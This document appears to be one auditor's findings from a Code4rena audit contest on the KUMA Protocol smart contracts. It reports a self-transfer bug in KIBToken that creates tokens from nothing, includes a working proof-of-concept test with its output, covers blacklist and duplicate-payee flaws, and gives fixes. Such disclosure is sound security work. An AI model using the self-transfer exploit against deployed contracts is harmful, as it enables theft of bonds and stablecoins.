KUMA Protocol - Versus contest - hihen's results

Lines of code

https://github.com/code-423n4/2023-02-kuma/blob/3f3d2269fcb3437a9f00ffdd67b5029487435b95/src/kuma-protocol/KIBToken.sol#L276-L292

Vulnerability details

Impact

Hackers can obtain any number of KIB tokens out of thin air. Using the stolen KIB tokens, the hacker could steal all the bonds in the KUMASwap by calling KUMASwap.buyBond(), or steal all the deprecationStableCoin in the KUMASwap by calling KUMASwap.redeemKIBT().

Proof of Concept

KIBToken._transfer() is used to update the balances of from and to when transferring KIBToken. Its main code is as follows:

function _transfer(address from, address to, uint256 amount) internal override {
    ...
    uint256 newFromBalance = startingFromBalance - amount;
    uint256 newToBalance = this.balanceOf(to) + amount;

    uint256 previousEpochCumulativeYield_ = _previousEpochCumulativeYield;
    uint256 newFromBaseBalance = WadRayMath.wadToRay(newFromBalance).rayDiv(previousEpochCumulativeYield_);
    uint256 newToBaseBalance = WadRayMath.wadToRay(newToBalance).rayDiv(previousEpochCumulativeYield_);

    if (amount > 0) {
        _totalBaseSupply -= (_baseBalances[from] - newFromBaseBalance);
        _totalBaseSupply += (newToBaseBalance - _baseBalances[to]);
        _baseBalances[from] = newFromBaseBalance;
        _baseBalances[to] = newToBaseBalance;
    }
    ...
}

In the code, the balance of from is decreased first, and then the balance of to is increased. However, if from == to, the balance update would be wrong, because the increasing of _baseBalances[to] will overwrite the decreasing of _baseBalances[from]. It will cause the balance of from(and to) increasing only.

The following code shows how a hacker turns his 1 * 1e18 KIB into 1024 * 1e18 KIB in this way.

Test code for PoC:

diff --git a/test/kuma-protocol/kib-token/KIBToken.transfer.t.sol b/test/kuma-protocol/kib-token/KIBToken.transfer.t.sol
index 5e77aea..e35fa60 100644
--- a/test/kuma-protocol/kib-token/KIBToken.transfer.t.sol
+++ b/test/kuma-protocol/kib-token/KIBToken.transfer.t.sol
@@ -15,6 +15,29 @@ contract KIBTokenTransfer is KIBTokenSetUp {
         assertEq(_KIBToken.balanceOf(_alice), 5 ether);
     }

+    function test_transferToSelf() public {
+        address hacker = vm.addr(99);
+        // Init states: alice 100e18 KIB, hacker 1e18 KIB, total 101e18 KIB
+        _KIBToken.mint(_alice, 1023 ether);
+        _KIBToken.mint(hacker, 1 ether);
+        assertEq(_KIBToken.balanceOf(_alice), 1023 ether);
+        assertEq(_KIBToken.balanceOf(hacker), 1 ether);
+        assertEq(_KIBToken.totalSupply(), 1024 ether);
+
+        // The hacker gets KIB tokens out of thin air by transferring tokens to itself
+        vm.startPrank(hacker, hacker);
+        for (uint i; i < 10; i++) {
+            _KIBToken.transfer(hacker, _KIBToken.balanceOf(hacker));
+        }
+        vm.stopPrank();
+
+        // Check result states
+        assertEq(_KIBToken.balanceOf(_alice), 1023 ether);
+        // The hackers obtained lots of KIB tokens out of thin air
+        assertEq(_KIBToken.balanceOf(hacker), 1024 ether);
+        assertEq(_KIBToken.totalSupply(), 1024 ether);
+    }
+
     function test_transfer_MaxBalanceWithoutRefresh() public {
         _KIBToken.mint(address(this), 10 ether);
         skip(365 days);

Outputs:

forge test -m test_transferToSelf -vvv
[⠔] Compiling...
No files changed, compilation skipped

Running 1 test for test/kuma-protocol/kib-token/KIBToken.transfer.t.sol:KIBTokenTransfer
[PASS] test_transferToSelf() (gas: 532194)
Test result: ok. 1 passed; 0 failed; finished in 7.87ms

Tools Used

VS Code

Recommended Mitigation Steps

We should correctly handle the case where from and to are equal:

diff --git a/src/kuma-protocol/KIBToken.sol b/src/kuma-protocol/KIBToken.sol
index 77aaf7d..b46e5b1 100644
--- a/src/kuma-protocol/KIBToken.sol
+++ b/src/kuma-protocol/KIBToken.sol
@@ -277,6 +277,12 @@ contract KIBToken is IKIBToken, ERC20PermitUpgradeable, UUPSUpgradeable {
         if (startingFromBalance < amount) {
             revert Errors.ERC20_TRANSFER_AMOUNT_EXCEEDS_BALANCE();
         }
+
+        if (from == to) {
+            emit Transfer(from, to, amount);
+            return;
+        }
+
         uint256 newFromBalance = startingFromBalance - amount;
         uint256 newToBalance = this.balanceOf(to) + amount;

Lines of code

https://github.com/code-423n4/2023-02-kuma/blob/3f3d2269fcb3437a9f00ffdd67b5029487435b95/src/mcag-contracts/KUMABondToken.sol#L143

Vulnerability details

Impact

It is still possible for a blacklisted user's bond token to be approved.

Proof of Concept

KUMABondToken.approve() only checks if msg.sender and to are not blacklisted. It doesn't check if the owner of the tokenId is not blacklisted.

For example, the following scenario allows a blacklisted user's bond token to be approved:

1. User A have a bond token bt1.
2. User A calls KUMABondToken.setApprovalForAll(B, true), and user B can operate on all user A's bond tokens.
3. User A is blacklisted.
4. User B calls KUMABondToken.approve(C, bt1) to approve user C to operate on bond token bt1.

Tools Used

VS Code

Recommended Mitigation Steps

KUMABondToken.approve() should revert if the owner of the tokenId is blacklisted:

diff --git a/src/mcag-contracts/KUMABondToken.sol b/src/mcag-contracts/KUMABondToken.sol
index 569a042..906fe7b 100644
--- a/src/mcag-contracts/KUMABondToken.sol
+++ b/src/mcag-contracts/KUMABondToken.sol
@@ -146,6 +146,7 @@ contract KUMABondToken is ERC721, Pausable, IKUMABondToken {
         whenNotPaused
         notBlacklisted(to)
         notBlacklisted(msg.sender)
+        notBlacklisted(ERC721.ownerOf(tokenId))
     {
         address owner = ERC721.ownerOf(tokenId);

    function test_approve_RevertWhen_TokenOwnerBlacklistedAndApproveCalledByOperator() external {
        _kumaBondToken.issueBond(_alice, _bond);
        vm.prank(_alice);
        _kumaBondToken.setApprovalForAll(address(this), true);
        _blacklist.blacklist(_alice);
        vm.expectRevert(abi.encodeWithSelector(Errors.BLACKLIST_ACCOUNT_IS_BLACKLISTED.selector, _alice));
        _kumaBondToken.approve(_bob, 1);
    }

Lines of code

https://github.com/code-423n4/2023-02-kuma/blob/3f3d2269fcb3437a9f00ffdd67b5029487435b95/src/kuma-protocol/KUMAFeeCollector.sol#L174-L188

Vulnerability details

Impact

When calling KUMAFeeCollector.changePayees() with duplicate payees in newPayees, the call is not reverted and the result state will be incorrect.

Proof of Concept

Contract KUMAFeeCollector does not support duplicate payees. The transaction will revert when trying to add duplicate payees in addPayee():

function addPayee(address payee, uint256 share) external override onlyManager {
    if (_payees.contains(payee)) {
        revert Errors.PAYEE_ALREADY_EXISTS();
    }
    ...
}

But, function KUMAFeeCollector.changePayees() forgets this constraint, which allows duplicate payees to be passed in newPayees. This will cause the contract to record an incorrect state and not work properly.

For example, if newPayees contains duplicate payee A, all of its shares will be added to _totalShares, but _shares[A] will only record the last one. As a result, the sum of all recorded _shares will less than _totalShares.

Test code for PoC:

diff --git a/test/kuma-protocol/KUMAFeeCollector.t.sol b/test/kuma-protocol/KUMAFeeCollector.t.sol
index f34d9ff..0b3fe46 100644
--- a/test/kuma-protocol/KUMAFeeCollector.t.sol
+++ b/test/kuma-protocol/KUMAFeeCollector.t.sol
@@ -40,6 +40,39 @@ contract KUMAFeeCollectorTest is BaseSetUp {
         );
     }

+    function test_DuplicatePayees() public {
+        address[] memory newPayees = new address[](4);
+        uint256[] memory newShares = new uint256[](4);
+
+        newPayees[0] = vm.addr(10);
+        newPayees[1] = vm.addr(10);
+        newPayees[2] = vm.addr(11);
+        newPayees[3] = vm.addr(12);
+        newShares[0] = 25;
+        newShares[1] = 25;
+        newShares[2] = 25;
+        newShares[3] = 25;
+
+        _KUMAFeeCollector.changePayees(newPayees, newShares);
+
+        // only 3 payees
+        assertEq(_KUMAFeeCollector.getPayees().length, 3);
+        // newPayees[0] and newPayees[1] are identical and both are added as payees[0]
+        address[] memory payees = _KUMAFeeCollector.getPayees();
+        assertEq(payees[0], newPayees[1]);
+        assertEq(payees[1], newPayees[2]);
+        assertEq(payees[2], newPayees[3]);
+
+        uint256 countedTotalShares = 0;
+        for (uint i; i < payees.length; i++) {
+            countedTotalShares += _KUMAFeeCollector.getShare(payees[i]);
+        }
+        // Counted totalShares is 75 (100 - 25)
+        assertEq(countedTotalShares, 75);
+        // Recorded totalShares is 100
+        assertEq(_KUMAFeeCollector.getTotalShares(), 100);
+    }
+
     function test_initialize() public {
         assertEq(address(_KUMAFeeCollector.getKUMAAddressProvider()), address(_KUMAAddressProvider));
         assertEq(_KUMAFeeCollector.getRiskCategory(), _RISK_CATEGORY);

Outputs:

forge test -m test_DuplicatePayees
[⠔] Compiling...
No files changed, compilation skipped

Running 1 test for test/kuma-protocol/KUMAFeeCollector.t.sol:KUMAFeeCollectorTest
[PASS] test_DuplicatePayees() (gas: 259689)
Test result: ok. 1 passed; 0 failed; finished in 7.39ms

Tools Used

VS Code

Recommended Mitigation Steps

KUMAFeeCollector.changePayees() should revert if there are duplicates in newPayees:

diff --git a/src/kuma-protocol/KUMAFeeCollector.sol b/src/kuma-protocol/KUMAFeeCollector.sol
index 402cf71..1a9d86d 100644
--- a/src/kuma-protocol/KUMAFeeCollector.sol
+++ b/src/kuma-protocol/KUMAFeeCollector.sol
@@ -180,7 +180,9 @@ contract KUMAFeeCollector is IKUMAFeeCollector, UUPSUpgradeable, Initializable {
             }

             address payee = newPayees[i];
-            _payees.add(payee);
+            if (!_payees.add(payee)) {
+                revert Errors.PAYEE_ALREADY_EXISTS();
+            }
             _shares[payee] = newShares[i];
             _totalShares += newShares[i];

1. _msgSender() should be used instead of msg.sender in subcontracts of Context

Instances:

src/kuma-protocol/KBCToken.sol
24:         if (msg.sender != _KUMAAddressProvider.getKUMASwap(riskCategory)) {
101:         if (!IAccessControl(_KUMAAddressProvider.getAccessController()).hasRole(Roles.KUMA_MANAGER_ROLE, msg.sender)) {
102:             revert Errors.ACCESS_CONTROL_ACCOUNT_IS_MISSING_ROLE(msg.sender, Roles.KUMA_MANAGER_ROLE);

src/kuma-protocol/KIBToken.sol
43:         if (!_KUMAAddressProvider.getAccessController().hasRole(role, msg.sender)) {
44:             revert Errors.ACCESS_CONTROL_ACCOUNT_IS_MISSING_ROLE(msg.sender, role);

src/kuma-protocol/KUMAAccessController.sol
9:         _grantRole(DEFAULT_ADMIN_ROLE, msg.sender);
10:         _grantRole(Roles.KUMA_MANAGER_ROLE, msg.sender);

src/kuma-protocol/KUMAFeeCollector.sol
26:         if (!_KUMAAddressProvider.getAccessController().hasRole(Roles.KUMA_MANAGER_ROLE, msg.sender)) {
27:             revert Errors.ACCESS_CONTROL_ACCOUNT_IS_MISSING_ROLE(msg.sender, Roles.KUMA_MANAGER_ROLE);

src/kuma-protocol/KUMASwap.sol
58:         if (!IAccessControl(_KUMAAddressProvider.getAccessController()).hasRole(role, msg.sender)) {
59:             revert Errors.ACCESS_CONTROL_ACCOUNT_IS_MISSING_ROLE(msg.sender, role);
166:         KIBToken.mint(msg.sender, mintAmount);
167:         KUMABondToken.safeTransferFrom(msg.sender, address(this), tokenId);
170:         emit BondSold(tokenId, mintAmount, msg.sender);
212:                 msg.sender,
224:         KIBToken.burn(msg.sender, realizedBondValue);
227:             KUMABondToken.safeTransferFrom(address(this), msg.sender, tokenId);
230:         emit BondBought(tokenId, realizedBondValue, msg.sender);
286:         IKUMABondToken(KUMAAddressProvider.getKUMABondToken()).safeTransferFrom(address(this), msg.sender, tokenId);
311:         KIBToken.burn(msg.sender, amount);
312:         deprecationStableCoin.safeTransfer(msg.sender, redeemAmount);
314:         emit KIBTRedeemed(msg.sender, redeemAmount);

src/mcag-contracts/AccessController.sol
9:         _grantRole(DEFAULT_ADMIN_ROLE, msg.sender);
10:         _grantRole(Roles.MCAG_MINT_ROLE, msg.sender);
11:         _grantRole(Roles.MCAG_BURN_ROLE, msg.sender);
12:         _grantRole(Roles.MCAG_BLACKLIST_ROLE, msg.sender);
13:         _grantRole(Roles.MCAG_PAUSE_ROLE, msg.sender);
14:         _grantRole(Roles.MCAG_UNPAUSE_ROLE, msg.sender);
15:         _grantRole(Roles.MCAG_TRANSMITTER_ROLE, msg.sender);
16:         _grantRole(Roles.MCAG_MANAGER_ROLE, msg.sender);
17:         _grantRole(Roles.MCAG_SET_URI_ROLE, msg.sender);

src/mcag-contracts/KUMABondToken.sol
27:         if (!accessController.hasRole(role, msg.sender)) {
28:             revert Errors.ACCESS_CONTROL_ACCOUNT_IS_MISSING_ROLE(msg.sender, role);
148:         notBlacklisted(msg.sender)
173:         notBlacklisted(msg.sender)
189:         notBlacklisted(msg.sender)
209:         notBlacklisted(msg.sender)

src/mcag-contracts/KYCToken.sol
25:         if (!accessController.hasRole(role, msg.sender)) {
26:             revert Errors.ACCESS_CONTROL_ACCOUNT_IS_MISSING_ROLE(msg.sender, role);

2. Lack of validation on important parameters

Some important parameters of the contract interface need to be validated. Otherwise, the contract may not work properly due to the inadvertence or operation error of the caller, and even cause serious problems such as economic losses

KUMABondToken.issueBond(address to, Bond calldata bond): the bond data should be validated, like the values of term, issuance, maturity, coupon, principal should have some limitations, and riskCategory should be correctly calculated.

KYCToken.mint(address to, KYCData calldata kycData): the kycData should be validated, kycData.owner should not be 0, and kycData.kycInfo should not be 0.

3. Event is missing indexed fields

Index event fields make the field more quickly accessible to off-chain tools that parse events. However, note that each index field costs extra gas during emission, so it's not necessarily best to index the maximum allowed per event (three fields). Each event should use three indexed fields if there are three or more fields, and gas usage is not particularly of concern for the events in question. If there are fewer than three fields, all of the fields should be indexed.

Instances (44):

File: src/kuma-protocol/interfaces/IKBCToken.sol
8:     event KUMAAddressProviderSet(address KUMAAddressProvider);
9:     event CloneBondIssued(uint256 ghostId, CloneBond cloneBond);
10:     event CloneBondRedeemed(uint256 ghostId, uint256 parentId);

File: src/kuma-protocol/interfaces/IKIBToken.sol
12:     event CumulativeYieldUpdated(uint256 oldCumulativeYield, uint256 newCumulativeYield);
13:     event EpochLengthSet(uint256 previousEpochLength, uint256 newEpochLength);
14:     event KUMAAddressProviderSet(address KUMAAddressProvider);
15:     event PreviousEpochCumulativeYieldUpdated(uint256 oldCumulativeYield, uint256 newCumulativeYield);
16:     event RiskCategorySet(bytes32 riskCategory);
17:     event YieldUpdated(uint256 oldYield, uint256 newYield);

File: src/kuma-protocol/interfaces/IKUMAAddressProvider.sol
7:     event AccessControllerSet(address accessController);
8:     event KBCTokenSet(address KBCToken);
10:     event KUMABondTokenSet(address KUMABondToken);
15:     event RateFeedSet(address rateFeed);

File: src/kuma-protocol/interfaces/IKUMAFeeCollector.sol
7:     event PayeeAdded(address indexed payee, uint256 share);
9:     event FeeReleased(uint256 income);
10:     event KUMAAddressProviderSet(address KUMAAddressProvider);
11:     event ShareUpdated(address indexed payee, uint256 newShare);
12:     event RiskCategorySet(bytes32 riskCategory);

File: src/kuma-protocol/interfaces/IKUMASwap.sol
9:     event BondBought(uint256 tokenId, uint256 KIBTokenBurned, address indexed buyer);
10:     event BondClaimed(uint256 tokenId, uint256 cloneTokenId);
11:     event BondExpired(uint256 tokenId);
12:     event BondSold(uint256 tokenId, uint256 KIBTokenMinted, address indexed seller);
16:     event DeprecationStableCoinSet(address oldDeprecationStableCoin, address newDeprecationStableCoin);
17:     event FeeCharged(uint256 fee);
18:     event FeeSet(uint16 variableFee, uint256 fixedFee);
19:     event KIBTRedeemed(address indexed redeemer, uint256 redeemedStableCoinAmount);
20:     event KUMAAddressProviderSet(address KUMAAddressProvider);
21:     event MaxCouponsSet(uint256 maxCoupons);
22:     event MinCouponUpdated(uint256 oldMinCoupon, uint256 newMinCoupon);
23:     event RiskCategorySet(bytes32 riskCategory);

File: src/kuma-protocol/interfaces/IMCAGRateFeed.sol
8:     event AccessControllerSet(address accessController);

File: src/mcag-contracts/interfaces/IBlacklist.sol
7:     event AccessControllerSet(address accesController);

File: src/mcag-contracts/interfaces/IKUMABondToken.sol
9:     event AccessControllerSet(address accesController);
10:     event BlacklistSet(address blacklist);
11:     event BondIssued(uint256 id, Bond bond);
12:     event BondRedeemed(uint256 id);
13:     event UriSet(string oldUri, string newUri);

File: src/mcag-contracts/interfaces/IKYCToken.sol
7:     event AccessControllerSet(address accesController);
8:     event Mint(address indexed to, KYCData kycData);
9:     event Burn(uint256 tokenId, KYCData kycData);
10:     event UriSet(string oldUri, string newUri);

File: src/mcag-contracts/interfaces/MCAGAggregatorInterface.sol
5:     event AccessControllerSet(address accesController);
6:     event AnswerTransmitted(address indexed transmitter, uint80 roundId, int256 answer);
7:     event MaxAnswerSet(int256 oldMaxAnswer, int256 newMaxAnswer);

4. Functions not used internally could be marked external

Instances (10):

File: src/kuma-protocol/KIBToken.sol
252:     function balanceOf(address account) public view override(ERC20Upgradeable, IERC20Upgradeable) returns (uint256) {
259:     function totalSupply() public view override(ERC20Upgradeable, IERC20Upgradeable) returns (uint256) {

File: src/mcag-contracts/KUMABondToken.sol
143:     function approve(address to, uint256 tokenId)
169:     function setApprovalForAll(address operator, bool approved)
185:     function transferFrom(address from, address to, uint256 tokenId)
205:     function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory data)

File: src/mcag-contracts/KYCToken.sol
105:     function approve(address to, uint256 tokenId) public pure override(ERC721, IERC721) {
112:     function setApprovalForAll(address operator, bool approved) public pure override(ERC721, IERC721) {
119:     function transferFrom(address from, address to, uint256 tokenId) public pure override(ERC721, IERC721) {
126:     function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory data)